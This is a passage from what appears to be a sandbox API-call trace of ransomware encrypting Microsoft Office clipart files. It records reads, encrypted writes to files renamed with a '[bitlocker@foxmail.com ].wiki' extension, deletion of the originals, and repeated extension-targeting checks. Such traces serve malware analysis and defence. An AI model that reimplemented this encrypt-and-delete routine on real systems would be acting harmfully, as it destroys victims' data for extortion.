Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.818] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.818] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.819] GetLastError () returned 0x0 [0194.819] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x26f0, lpOverlapped=0x0) returned 1 [0194.850] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2700, lpOverlapped=0x0) returned 1 [0194.851] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.852] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.852] SetEndOfFile (hFile=0x1dc) returned 1 [0194.852] CloseHandle (hObject=0x1dc) returned 1 [0194.852] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.852] SetEndOfFile (hFile=0x200) returned 1 [0194.853] CloseHandle (hObject=0x200) returned 1 [0194.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0194.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.853] lstrlenW (lpString=".doc") returned 4 [0194.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.853] lstrlenW (lpString=".docx") returned 5 [0194.853] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.853] lstrlenW (lpString=".pdf") returned 4 [0194.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.853] lstrlenW (lpString=".xls") returned 4 [0194.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.853] lstrlenW (lpString=".xlsx") returned 5 [0194.853] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.853] lstrlenW (lpString=".ppt") returned 4 [0194.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.853] lstrlenW (lpString=".zip") returned 4 [0194.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.854] lstrlenW (lpString=".rar") returned 4 [0194.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString=".bz2") returned 4 [0194.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString=".7z") returned 3 [0194.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.854] lstrlenW (lpString=".dbf") returned 4 [0194.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.854] lstrlenW (lpString=".1cd") returned 4 [0194.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.854] lstrlenW (lpString=".jpg") returned 4 [0194.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.854] lstrlenW (lpString=".doc") returned 4 [0194.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString=".docx") returned 5 [0194.854] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.854] lstrlenW (lpString=".pdf") returned 4 [0194.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.854] lstrlenW (lpString=".xls") returned 4 [0194.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.854] lstrlenW (lpString=".xlsx") returned 5 [0194.854] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.854] lstrlenW (lpString=".ppt") returned 4 [0194.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.855] lstrlenW (lpString=".zip") returned 4 [0194.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.855] lstrlenW (lpString=".rar") returned 4 [0194.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.855] lstrlenW (lpString=".bz2") returned 4 [0194.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.855] lstrlenW (lpString=".7z") returned 3 [0194.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.855] lstrlenW (lpString=".dbf") returned 4 [0194.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.855] lstrlenW (lpString=".1cd") returned 4 [0194.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0194.855] lstrlenW (lpString=".jpg") returned 4 [0194.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.855] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.855] lstrlenW (lpString="J0107262.WMF") returned 12 [0194.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.856] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7996) returned 1 [0194.856] CloseHandle (hObject=0x200) returned 1 [0194.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 0x20 [0194.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.856] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.856] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.857] GetLastError () returned 0x0 [0194.857] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1f3c, lpOverlapped=0x0) returned 1 [0194.902] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0194.903] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.903] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.903] SetEndOfFile (hFile=0x1dc) returned 1 [0194.904] CloseHandle (hObject=0x1dc) returned 1 [0194.904] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.904] SetEndOfFile (hFile=0x200) returned 1 [0194.904] CloseHandle (hObject=0x200) returned 1 [0194.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf")) returned 1 [0194.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.905] lstrlenW (lpString=".doc") returned 4 [0194.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.905] lstrlenW (lpString=".docx") returned 5 [0194.905] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.905] lstrlenW (lpString=".pdf") returned 4 [0194.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.905] lstrlenW (lpString=".xls") returned 4 [0194.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.905] lstrlenW (lpString=".xlsx") returned 5 [0194.905] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.905] lstrlenW (lpString=".ppt") returned 4 [0194.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.905] lstrlenW (lpString=".zip") returned 4 [0194.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.905] lstrlenW (lpString=".rar") returned 4 [0194.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.905] lstrlenW (lpString=".bz2") returned 4 [0194.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.905] lstrlenW (lpString=".7z") returned 3 [0194.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString=".dbf") returned 4 [0194.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString=".1cd") returned 4 [0194.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString=".jpg") returned 4 [0194.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString=".doc") returned 4 [0194.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString=".docx") returned 5 [0194.906] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.906] lstrlenW (lpString=".pdf") returned 4 [0194.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString=".xls") returned 4 [0194.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.906] lstrlenW (lpString=".xlsx") returned 5 [0194.906] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.906] lstrlenW (lpString=".ppt") returned 4 [0194.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.906] lstrlenW (lpString=".zip") returned 4 [0194.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.906] lstrlenW (lpString=".rar") returned 4 [0194.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString=".bz2") returned 4 [0194.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.906] lstrlenW (lpString=".7z") returned 3 [0194.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.907] lstrlenW (lpString=".dbf") returned 4 [0194.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.907] lstrlenW (lpString=".1cd") returned 4 [0194.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF") returned 63 [0194.907] lstrlenW (lpString=".jpg") returned 4 [0194.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.907] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.907] lstrlenW (lpString="J0107280.WMF") returned 12 [0194.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.907] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11108) returned 1 [0194.908] CloseHandle (hObject=0x200) returned 1 [0194.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0194.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.908] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.908] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.908] GetLastError () returned 0x0 [0194.908] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2b64, lpOverlapped=0x0) returned 1 [0194.955] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2b70, lpOverlapped=0x0) returned 1 [0194.956] ReadFile (in: hFile=0x200, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.956] WriteFile (in: hFile=0x1dc, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.956] SetEndOfFile (hFile=0x1dc) returned 1 [0194.956] CloseHandle (hObject=0x1dc) returned 1 [0194.956] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.956] SetEndOfFile (hFile=0x200) returned 1 [0194.957] CloseHandle (hObject=0x200) returned 1 [0194.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.957] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0194.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.957] lstrlenW (lpString=".doc") returned 4 [0194.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.957] lstrlenW (lpString=".docx") returned 5 [0194.957] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.957] lstrlenW (lpString=".pdf") returned 4 [0194.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.957] lstrlenW (lpString=".xls") returned 4 [0194.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.958] lstrlenW (lpString=".xlsx") returned 5 [0194.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.958] lstrlenW (lpString=".ppt") returned 4 [0194.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString=".zip") returned 4 [0194.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.958] lstrlenW (lpString=".rar") returned 4 [0194.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString=".bz2") returned 4 [0194.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString=".7z") returned 3 [0194.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString=".dbf") returned 4 [0194.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString=".1cd") returned 4 [0194.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString=".jpg") returned 4 [0194.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.958] lstrlenW (lpString=".doc") returned 4 [0194.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.958] lstrlenW (lpString=".docx") returned 5 [0194.958] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.960] lstrlenW (lpString=".pdf") returned 4 [0194.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.960] lstrlenW (lpString=".xls") returned 4 [0194.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.960] lstrlenW (lpString=".xlsx") returned 5 [0194.960] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.960] lstrlenW (lpString=".ppt") returned 4 [0194.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.960] lstrlenW (lpString=".zip") returned 4 [0194.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.960] lstrlenW (lpString=".rar") returned 4 [0194.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.961] lstrlenW (lpString=".bz2") returned 4 [0194.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.961] lstrlenW (lpString=".7z") returned 3 [0194.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.961] lstrlenW (lpString=".dbf") returned 4 [0194.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.961] lstrlenW (lpString=".1cd") returned 4 [0194.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0194.961] lstrlenW (lpString=".jpg") returned 4 [0194.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.961] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.961] lstrlenW (lpString="J0107290.WMF") returned 12 [0194.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.962] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12308) returned 1 [0194.962] CloseHandle (hObject=0x200) returned 1 [0194.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0194.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.962] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.962] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[bitlocker@foxmail.com 